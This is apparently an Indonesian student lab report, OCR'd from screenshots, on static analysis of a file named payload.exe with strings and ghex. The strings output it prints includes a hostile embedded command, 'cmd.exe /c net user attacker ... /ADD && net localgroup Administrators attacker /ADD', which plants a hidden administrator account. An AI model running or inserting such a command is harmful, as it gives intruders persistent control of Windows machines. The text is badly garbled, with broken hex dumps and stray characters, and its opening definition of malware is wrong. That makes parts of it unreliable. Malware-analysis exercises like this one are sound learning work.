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Malware merupakan suatu aktivitas yang kerap dilakukan oleh sejumlah praktisi
keamanan teknologi informasi untuk mendeteksi ada atau tidaknya komponen
subprogram atau data yang bertujuan jahat dalam sebuah file elektronik. Malware sering
diselundupkan melalui file-file umum dan popular seperti aplikasi (.exe), pengolah kata
(.doc), pengolah angka (.xlIs), gambar (.jpg), dan lain sebagainya — sehingga jika
pengguna awam mengakses dan membukanya, akan langsung mejadi korban program
jahat seketika. Malware sering disamarkan dengan menggunakan nama file yang umum
dipakai dalam berbagai keperluan, seperti driver (.drv), data (.dat), library (.lib),
temporary (.tmp), dan lain-lain — sehingga pengguna tidak sadar akan kehadirannya di
dalam komputer yang bersangkutan.

Berikut merupakan tampilan hasil dari string payload.exe :
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Hornz File Edit View Search Terminal Help
IThis is ApacheBench, Version %s
2.3 <$Revision: 655654 $>
-h Display usage information (this message)
Don't exit on socket receive errors.
-e filename Output CSV file with percentages served
-g filename Output collected data to gnuplot format file.

— =r

e
=5 Do not show confidence estimators and warnings
d

k

\

94 G2 Yolurmz

Do not show percentiles served table.
Use HTTP KeepAlive feature
- Print version number and exit
-X proxy:port Proxyserver and port number to use
-P attribute Add Basic Proxy Authentication, the attributes
are a colon separated username and password.
-A attribute Add Basic WwW Authentication, the attributes
Inserted after all normal header lines. (repeatable)
-—— -H attribute Add Arbitrary header line, eg. 'Accept-Encoding: gzip'
Tnckart -C attribute  Add cookie, eg. 'Apache=1234. (repeatable)
-z attributes String to insert as td or th attributes
-y attributes String to insert as tr attributes
-x attributes String to insert as table attributes
=1 Use HEAD instead of GET
Print out results in HTML tables
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-
-v verbosity How much troubleshooting info to print
Default is 'text/plain’

Pada gambar diatas, saat melakukan string payload.exe terdapat hasil berupa aplikasi yaitu
Apachebench, Version 0/os 2.3 <Srevision: 655654 s> dimana ApacheBench merupakan alat
untuk perbandingan server apache HTTP. ApacheBench adalah sebuah tools untuk menguji
performace dari apache server . Dengan ApacheBench kita bisa membuat simulasi dan
membuat request http sebanyak - banyaknya perdetik, jadi kita bisa tahu seberapa handal
apache kita menangani banyak request.
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cmd.exe /c net user attacker Gantengl /ADD & net localgroup Administrators attal
strings payload.
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1This program cannot be run in DOS mode.
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payloadica.txt (My Drive) - gedit
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cmd.exe /c net user attacker Gantengl /ADD && net localgroup Administrators attacker /ADD

U =l B B |2 |4 payloadicaxt(My Drive) g.. IE tugas? - File Manager “g [Terminal]

&

PlainText ¥ 1

Pada gambar diatas, maksud dari string payload2.exe terdapat cmd.exe /c net user attacker
Gantengl/ ADD && net localgroup Administrator attacker/ADD yang berarti exploit yang
digunakan untuk melakukan eksekusi file dari user tersebut. User admin membuat user yang
baru kemudian user baru tersebut memiliki hak akses sebagai admin.

Berikut merupakan tampilan dari ghex payload.exe:

payload.exe - GHex

03 60 00 60 04 60 60 060 FF FF 00 00 B8 00 00 00 60 00
60 00 00 00 00 00 60 60 60 66 60 00 60 00 00 00 00 00
BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70
20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64
93 38 FO D6 D7 59 9E 85 D7 59 9E 85 D7 59 9E 85 AC 45
85 B8 46 94 85 DC 59 9E 85 B8 46 9A 85 D4 59 9E 85 D7
9E 85 83 7A AE 85 FF 59 9E 85 10 5F 98 85 D6 59 9E 85
00 00 00 00 00 06 60 60 00 00 00 50 45 00 00 4C 01 04
EO 00 OF 61 6B 01 06 60 66 BO 60 00 00 A® 60 00 00 00
00 00 00 40 00 00 10 €6 66 €0 10 00 00 04 00 00 00 00
01 60 00 10 00 66 00 60 00 00 62 00 00 00 60 00 10 00
00 60 00 10 00 60 60 60 60 00 00 00 00 00 00 6C C7 €0
00 060 00 60 00 66 00 60 66 00 00 00 00 00 060 00 60 00
00 60 00 060 00 66 60 60 60 00 00 00 0O 00 00 00 60 00
00 00 00 00 00 00 00 06 €0 60 00 CO 00 00 EO 01 00 00
60 00 00 00 00 00 66 60 €0 60 60 2E 74 65 78 74 00 00
00 10 00 60 00 60 00 60 00 00 60 00 60 00 60 00 20 00
00 00 CO 00 00 06 16 66 €6 60 CO 00 00 0O 00 00 00 00
61 74 61 00 00 60 5C 70 60 00 ©0 DO 00 00 00 40 00 00
00 60 00 40 00 66 CO 2E 72 73 72 63 00 00 00 C8 07 €0

00 00 00 60 00 66 60 60 60 00 00 00 40 00 00 40 00 00
an AN A0 0A A0 0A AA AA 00 A0 00 AN AA 00 AA A0 AA 00 A

00
00
72
65
92
59
52
00
:L:]
00
00
:L:]
00
00
00
00
00
00
:L:]
00

00
an

00
00
6F
2E
85
9F
69
47
00
00
10
78
00
00
00
66
60
00
De
00

00
an

40
00
67
eD
D3
85
63
71
8D
00
00
00
00
00
00
A9
2E
00
00
50

00
an

00
00
72
oD
59
1E
68
D6
5A
04
00
00
00
00
00
00
72
00
00
01

00
aa

00
00
61
A
9E
59
D7
49
00
00
00
00
00
00
00
00
64
00
00
00

00
an

00
00
6D
24
85
9E
59
00
00
00
00
00
00
00
00
00
61
00
00
00

00
an

00
00
20
00
54
85
9E
00
00
00
10
50
EO
00
00
10
74
00
00
10

00
an

00
E8
63
00
45
54
85
00
10
00
00
01
Cc1
00
00
00
61
40
00
00

00
aa

00|
90|
51
09|
00|
00|
00|
00|
00|
00|
00|
00|
09|
00|
00|
00|
00|
00|

.!This program ca
nnot be run in DOS mode....$...
o8y Yoy sen Y wE e Yawl Ba

Signed 8 bit: | 90 Signed 32 bit: | 50368602
Unsigned 8 bit: | 90 Unsigned 32 bit | 50368602
Signed 16 bit: | -28582 Float 32 bit: | 3,778153e-37
Unsigned 16 bit: | 36954 Float 64 bit: | 2,052268¢-289
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Offset: 0x1; 0x2 bytes from 0x0 to Ox1 selected

Hexadecimal: | SA
Octat: | 132
Binary: | 01011010
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Ghex adalah jenis program yang dapat digunakan untuk memanipulasi data dari suatu file
binary di komputer. Pada gambar diatas, saat melakukan proses ghex payload.exe terlihat
bahwa bagian yang diblock MZ pada payload.exe. lalu untuk mengecek file yang sama yaitu
menggunakan list of file signatures wikipedia, maka hasilnya juga akan terlihat sama yaitu
MZ 4D 5A.



